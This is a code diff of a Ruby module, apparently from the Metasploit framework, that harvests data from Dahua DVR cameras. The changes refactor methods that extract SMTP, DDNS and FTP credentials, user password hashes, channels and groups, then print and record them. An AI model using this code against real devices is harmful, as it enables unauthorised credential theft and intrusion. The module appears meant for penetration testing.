@@ -113,12 +113,12 @@ def grab_email
113
113
print_status ( " Destination Email: #{ data [ 1 ] } " ) unless data [ 1 ] . blank?
114
114
mailserver = "#{ mailhost [ 0 ] } "
115
115
mailport = "#{ mailhost [ 1 ] } "
116
+ muser = "#{ data [ 5 ] } "
117
+ mpass = "#{ data [ 6 ] } "
116
118
end
117
- return unless data [ 5 ] . blank? && data [ 6 ] . blank?
119
+ return if muser . blank? && mpass . blank?
118
120
print_good ( " SMTP User: #{ data [ 5 ] } " )
119
121
print_good ( " SMTP Password: #{ data [ 6 ] } " )
120
- muser = "#{ data [ 5 ] } "
121
- mpass = "#{ data [ 6 ] } "
122
122
return unless mailserver . blank? && mailport . blank? && muser . blank? && mpass . blank?
123
123
report_email_creds ( mailserver , mailport , muser , mpass )
124
124
end
@@ -136,13 +136,13 @@ def grab_ddns
136
136
data . each_with_index do |val , index |
137
137
next if index == 0
138
138
val = val . split ( "&&" )
139
- ddns_service = " #{ val [ 0 ] } "
140
- ddns_server = " #{ val [ 1 ] } "
141
- ddns_port = " #{ val [ 2 ] } "
142
- ddns_domain = " #{ val [ 3 ] } "
143
- ddns_user = " #{ val [ 4 ] } "
144
- ddns_pass = " #{ val [ 5 ] } "
145
- ddns_table << [ " #{ ddns_service } " , " #{ ddns_server } " , " #{ ddns_port } " , " #{ ddns_domain } " , " #{ ddns_user } " , " #{ ddns_pass } " ]
139
+ ddns_service = val [ 0 ]
140
+ ddns_server = val [ 1 ]
141
+ ddns_port = val [ 2 ]
142
+ ddns_domain = val [ 3 ]
143
+ ddns_user = val [ 4 ]
144
+ ddns_pass = val [ 5 ]
145
+ ddns_table << [ ddns_service , ddns_server , ddns_port , ddns_domain , ddns_user , ddns_pass ]
146
146
unless ddns_server . blank? && ddns_port . blank? && ddns_user . blank? && ddns_pass . blank?
147
147
ddns_table . print
148
148
report_ddns_cred ( ddns_server , ddns_port , ddns_user , ddns_pass )
@@ -165,8 +165,8 @@ def grab_nas
165
165
ftpuser . strip!
166
166
ftppass . strip!
167
167
unless ftpuser . blank? || ftppass . blank?
168
- print_good ( " Nas Server: #{ server } " )
169
- print_good ( " Nas Port: #{ port } " )
168
+ print_good ( " NAS Server: #{ server } " )
169
+ print_good ( " NAS Port: #{ port } " )
170
170
print_good ( " FTP User: #{ ftpuser } " )
171
171
print_good ( " FTP Pass: #{ ftppass } " )
172
172
report_creds (
@@ -175,7 +175,7 @@ def grab_nas
175
175
user : ftpuser ,
176
176
pass : ftppass ,
177
177
type : "FTP" ,
178
- active : true ) if ! server . nil? && ! port . nil? && ! ftpuser . nil? && ! ftppass . nil?
178
+ active : true )
179
179
end
180
180
end
181
181
end
@@ -184,18 +184,16 @@ def grab_channels
184
184
connect
185
185
sock . put ( CHANNELS )
186
186
data = sock . get_once . split ( '&&' )
187
- disconnect
188
187
channels_table = Rex ::Ui ::Text ::Table . new (
189
188
'Header' => 'Dahua Camera Channels' ,
190
189
'Indent' => 1 ,
191
- 'Columns' => [ 'ID' , 'Channels' ]
190
+ 'Columns' => [ 'ID' , 'Peer' , ' Channels']
192
191
)
193
192
return unless data . length > 1
194
- print_good ( "#{ peer } -- camera channels:" )
195
193
data . each_with_index do |val , index |
196
194
number = index . to_s
197
195
channels = val [ /([[:print:]]+)/ ]
198
- channels_table << [ " #{ number } " , " #{ channels } " ]
196
+ channels_table << [ number , peer , channels ]
199
197
end
200
198
channels_table . print
201
199
end
@@ -209,12 +207,12 @@ def grab_users
209
207
users_table = Rex ::Ui ::Text ::Table . new (
210
208
'Header' => 'Dahua Users Hashes and Rights' ,
211
209
'Indent' => 1 ,
212
- 'Columns' => [ 'Username' , 'Password Hash' , 'Permissions' , 'Description' ]
210
+ 'Columns' => [ 'Username' , 'Password Hash' , 'Groups' , ' Permissions', 'Description' ]
213
211
)
214
212
data . each do |val |
215
213
usercount += 1
216
- user , md5hash , rights , name = val . match ( /^.*:(.*):(.*):.* :(.*):(.*):.* $/ ) . captures
217
- users_table << [ user , md5hash , rights , name ]
214
+ user , md5hash , groups , rights , name = val . match ( /^.*:(.*):(.*):(.*) :(.*):(.*):(.*) $/ ) . captures
215
+ users_table << [ user , md5hash , groups , rights , name ]
218
216
# Write the dahua hash to the database
219
217
hash = "#{ rhost } #{ user } :$dahua$#{ md5hash } "
220
218
report_hash ( rhost , rport , user , hash )
@@ -240,13 +238,12 @@ def grab_groups
240
238
groups_table = Rex ::Ui ::Text ::Table . new (
241
239
'Header' => 'Dahua groups' ,
242
240
'Indent' => 1 ,
243
- 'Columns' => [ 'ID' , 'Group' ]
241
+ 'Columns' => [ 'ID' , 'Peer' , ' Group']
244
242
)
245
- print_good ( "#{ peer } -- groups:" )
246
243
data . each do |val |
247
244
number = "#{ val [ /(([\d ]+))/ ] } "
248
245
groups = "#{ val [ /(([a-z]+))/ ] } "
249
- groups_table << [ number , groups ]
246
+ groups_table << [ number , peer , groups ]
250
247
end
251
248
groups_table . print
252
249
end
0 commit comments